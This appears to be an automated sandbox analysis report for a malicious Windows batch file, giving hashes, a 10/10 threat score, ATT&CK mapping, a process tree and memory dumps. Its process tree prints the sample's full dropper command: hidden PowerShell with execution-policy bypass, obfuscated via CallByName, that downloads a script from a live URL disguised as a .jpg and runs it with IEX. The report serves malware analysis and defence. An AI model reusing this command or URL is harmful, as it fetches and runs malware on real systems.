5dee2d0dd4d3eee97c372b6a8dbd3d3042d24b9483addfa9f8786617a88e268b

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
25/11/2024, 14:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5dee2d0dd4d3eee97c372b6a8dbd3d3042d24b9483addfa9f8786617a88e268b.bat
Size

11KB
MD5

4527c576f1af0580c8d96ac23c8f761c
SHA1

dac3bf00eeb34c9c1d9dca63973f2e04da045383
SHA256

5dee2d0dd4d3eee97c372b6a8dbd3d3042d24b9483addfa9f8786617a88e268b
SHA512

7afacd9324fd02c60e927c71d8c4c6b3317984869224da2e6311a4a5963ebb74615ada91af129f9083d771dc069b4578c895c42f8d9154e814e94f8cc28361b9
SSDEEP

192:kffffffffffffffffffffhffffffffffffffffffffQv/sfffffffffffffffffZ:kffffffffffffffffffffhfffffffffT

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2876	powershell.exe
6	2876	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2876	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2876	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2876	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2500 wrote to memory of 2864	2500	cmd.exe	31
PID 2500 wrote to memory of 2864	2500	cmd.exe	31
PID 2500 wrote to memory of 2864	2500	cmd.exe	31
PID 2864 wrote to memory of 2876	2864	cmd.exe	32
PID 2864 wrote to memory of 2876	2864	cmd.exe	32
PID 2864 wrote to memory of 2876	2864	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\5dee2d0dd4d3eee97c372b6a8dbd3d3042d24b9483addfa9f8786617a88e268b.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2500
- C:\Windows\system32\cmd.exe
  CMD /C pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2876-4-0x000007FEF668E000-0x000007FEF668F000-memory.dmp

Filesize
4KB

Download
memory/2876-5-0x000000001B390000-0x000000001B672000-memory.dmp

Filesize
2.9MB

Download
memory/2876-6-0x0000000001FD0000-0x0000000001FD8000-memory.dmp

Filesize
32KB

Download
memory/2876-7-0x000007FEF63D0000-0x000007FEF6D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-8-0x000007FEF63D0000-0x000007FEF6D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-9-0x000007FEF63D0000-0x000007FEF6D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-10-0x000007FEF63D0000-0x000007FEF6D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-11-0x000007FEF63D0000-0x000007FEF6D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-12-0x000007FEF63D0000-0x000007FEF6D6D000-memory.dmp

Filesize
9.6MB

Download